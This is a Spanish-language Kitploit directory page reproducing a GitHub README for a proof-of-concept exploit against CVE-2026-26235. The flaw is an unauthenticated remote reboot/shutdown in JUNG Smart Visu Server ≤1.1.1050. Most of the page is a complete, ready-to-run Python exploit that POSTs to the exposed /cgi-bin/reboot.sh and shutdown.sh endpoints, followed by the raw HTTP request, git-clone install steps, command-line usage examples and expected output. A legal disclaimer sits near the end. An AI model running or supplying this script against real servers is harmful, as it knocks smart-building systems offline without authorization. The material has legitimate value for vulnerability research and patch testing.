Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown — Prueba de concepto de exploit para CVE-2026-26235, una vulnerabilidad de denegación de servicio no autenticada en JUNG Smart Visu Server <=1.1.1050, que permite reinicio o apagado remoto a través de endpoints CGI expuestos. | Kitploit
Herramientas/GitHubGitHub/mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown
Seguridad IoTAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubmbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdown

CVE-2026-26235-JUNG-Smart-Visu-Server-Unauthenticated-Reboot-Shutdown

Prueba de concepto de exploit para CVE-2026-26235, una vulnerabilidad de denegación de servicio no autenticada en JUNG Smart Visu Server <=1.1.1050, que permite reinicio o apagado remoto a través de endpoints CGI expuestos.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 6 mesesAún no revisado

👤 Autor

Mohammed Idrees Banyamer

  • 📍 País: Jordania
  • 📸 Instagram: @banyamer_security

Python Version CVE CVSS CWE Author

Prueba de concepto (PoC) para CVE-2026-26235 - Denegación de servicio no autenticada mediante la falta de autenticación en JUNG Smart Visu Server ≤ 1.1.1050.


🚨 Descripción de la vulnerabilidad

CVE-2026-26235 es una vulnerabilidad de denegación de servicio no autenticada en JUNG Smart Visu Server versiones ≤ 1.1.1050. El producto no implementa autenticación para funciones críticas de gestión del sistema, lo que permite a atacantes remotos reiniciar o apagar el servidor con una única petición POST.

Los endpoints /cgi-bin/reboot.sh y /cgi-bin/shutdown.sh están expuestos sin ninguna comprobación de autenticación. No se requieren tokens de sesión, claves API ni credenciales para activar estos comandos a nivel de sistema.

Esto permite:

  • Reinicio/apagado del sistema no autenticado
  • No se requiere interacción del usuario
  • Interrupción completa del servicio
  • Denegación de servicio persistente

🎯 Versiones afectadas

EstadoVersión
❌ VulnerableJUNG Smart Visu Server ≤ 1.1.1050
✅ ParcheadoAún no publicado

Probado en: JUNG Smart Visu Server 1.1.1050, Embedded Linux


💥 Impacto


🔬 Detalles técnicos

Causa raíz

  1. Falta de autenticación - CWE-306: El producto no realiza ninguna autenticación para funciones críticas del sistema
  2. Endpoints CGI expuestos - /cgi-bin/reboot.sh y /cgi-bin/shutdown.sh son de acceso público
  3. Sin validación de sesión - No se verifica cookie, token ni credencial alguna
  4. Ejecución directa de comandos del sistema - Los scripts CGI ejecutan comandos de reinicio/apagado del sistema sin comprobaciones de privilegios

Flujo de la vulnerabilidad

root@kitploit:~
Atacante → POST /cgi-bin/reboot.sh → Sin comprobación de autenticación → Reinicio del sistema → DoS
Atacante → POST /cgi-bin/shutdown.sh → Sin comprobación de autenticación → Apagado del sistema → DoS

🛠️ Prueba de concepto

Script de explotación en Python

root@kitploit:~
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)

import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def print_banner():
    print("\n" + "="*60)
    print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
    print(" CVE-2026-26235 | CWE-306")
    print("="*60 + "\n")

def exploit(target, action="reboot", verify_ssl=False, timeout=10):
    endpoints = {
        "reboot": "/cgi-bin/reboot.sh",
        "shutdown": "/cgi-bin/shutdown.sh"
    }
    
    if action not in endpoints:
        print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
        return False
    
    url = f"{target.rstrip('/')}{endpoints[action]}"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1",
        "Cache-Control": "max-age=0",
        "Origin": target.rstrip('/'),
        "Referer": f"{target.rstrip('/')}/",
        "DNT": "1",
        "Sec-GPC": "1"
    }
    
    print(f"[*] Target      : {url}")
    print(f"[*] Action      : {action.upper()}")
    print(f"[*] SSL Verify  : {verify_ssl}")
    print("[*] Sending unauthenticated POST request...\n")
    
    try:
        response = requests.post(
            url, 
            headers=headers,
            data="",  
            verify=verify_ssl,
            timeout=timeout,
            allow_redirects=False
        )
        
        print(f"[+] Request sent successfully!")
        print(f"[+] HTTP Status : {response.status_code}")
        
        if response.status_code == 200:
            print("[!] Server responded with 200 OK - action likely executed")
        elif response.status_code == 302 or response.status_code == 301:
            print("[!] Server responded with redirect - action may have been triggered")
        else:
            print(f"[?] Unexpected response code: {response.status_code}")
        
        if response.text:
            print(f"[*] Response preview: {response.text[:200].strip()}")
        
        print("\n[!] If successful, the target server should now be restarting or shutting down.")
        return True
        
    except requests.exceptions.Timeout:
        print("[-] Connection timeout. The server may be down or unreachable.")
        print("[*] This could indicate successful DoS if the server was previously reachable.")
        return True
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection error: {e}")
        print("[*] The server may have gone down - possibly successful exploitation.")
        return True
    except Exception as e:
        print(f"[-] An error occurred: {e}")
        return False

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
    )
    parser.add_argument(
        "target",
        help="Target server URL (e.g., https://192.168.1.100:8080)"
    )
    parser.add_argument(
        "-a", "--action",
        choices=["reboot", "shutdown"],
        default="reboot",
        help="Action to perform: reboot or shutdown (default: reboot)"
    )
    parser.add_argument(
        "-k", "--insecure",
        action="store_false",
        dest="verify_ssl",
        default=False,
        help="Disable SSL certificate verification (default: disabled)"
    )
    parser.add_argument(
        "-t", "--timeout",
        type=int,
        default=10,
        help="Request timeout in seconds (default: 10)"
    )
    
    args = parser.parse_args()
    
    print(f"[*] Starting exploit against: {args.target}\n")
    
    success = exploit(
        target=args.target,
        action=args.action,
        verify_ssl=args.verify_ssl,
        timeout=args.timeout
    )
    
    if success:
        print("\n[+] Exploit completed successfully.")
    else:
        print("\n[-] Exploit failed.")
        sys.exit(1)

if __name__ == "__main__":
    main()

Petición HTTP cruda

root@kitploit:~
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0


📦 Instalación

root@kitploit:~
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py

🚀 Uso

Reinicio básico

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080

Apagado

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown

Deshabilitar verificación SSL

root@kitploit:~
python3 CVE-2026-26235.py https://smartvisu.local -k

Tiempo de espera personalizado

root@kitploit:~
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15

Ayuda

root@kitploit:~
python3 CVE-2026-26235.py -h

Salida esperada

root@kitploit:~
============================================================
 JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
 CVE-2026-26235 | CWE-306
============================================================

[*] Starting exploit against: https://192.168.1.100:8080

[*] Target      : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action      : REBOOT
[*] SSL Verify  : False
[*] Sending unauthenticated POST request...

[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed

[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.

📚 Referencias

  • Aviso de VulnCheck
  • Zero Science Lab - ZSL-2026-5971
  • CWE-306: Falta de autenticación para función crítica
  • NVD - CVE-2026-26235 (pendiente)

👤 Autor

Mohammed Idrees Banyamer

  • 📍 País: Jordania
  • 📸 Instagram: @banyamer_security
  • 🐙 GitHub: banyamer-security
  • 🔗 LinkedIn: Mohammed Banyamer
  • 📧 Email: [email protected]

⚠️ Aviso legal

Esta prueba de concepto se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El autor no es responsable de ningún uso indebido o daño causado por este software.

Las pruebas no autorizadas contra sistemas que no posees o para los que no tienes permiso explícito son ilegales.


📄 Licencia

Licencia MIT

Copyright (c) 2026 Mohammed Idrees Banyamer

Se concede permiso, de forma gratuita, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para tratar el Software sin restricción, incluidos, sin limitación, los derechos de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a quienes se les proporcione el Software, hacerlo, sujeto a las siguientes condiciones:

El aviso de copyright anterior y este aviso de permiso se incluirán en todas las copias o partes sustanciales del Software.

EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUIDAS, ENTRE OTRAS, LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN FIN PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DE LOS DERECHOS DE AUTOR SERÁN RESPONSABLES DE CUALQUIER RECLAMO, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O DE OTRO MODO, QUE SURJA DE, FUERA DE O EN CONEXIÓN CON EL SOFTWARE O EL USO U OTROS TRATOS EN EL SOFTWARE.


⭐ Soporte

Si este exploit ayudó en tu investigación o pruebas:

  • ⭐ Marca con estrella este repositorio
  • 🔁 Comparte con otros investigadores
  • 📢 Sigue a @banyamer_security en Instagram

Divulgación responsable • Investigación de seguridad • CVE-2026-26235

Descargar herramienta
VectorDescripción
CVSS v48.7 (Alto) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
AutenticaciónNinguna - Completamente no autenticado
Vector de ataqueRed
ComplejidadBaja
ImpactoAlto impacto en disponibilidad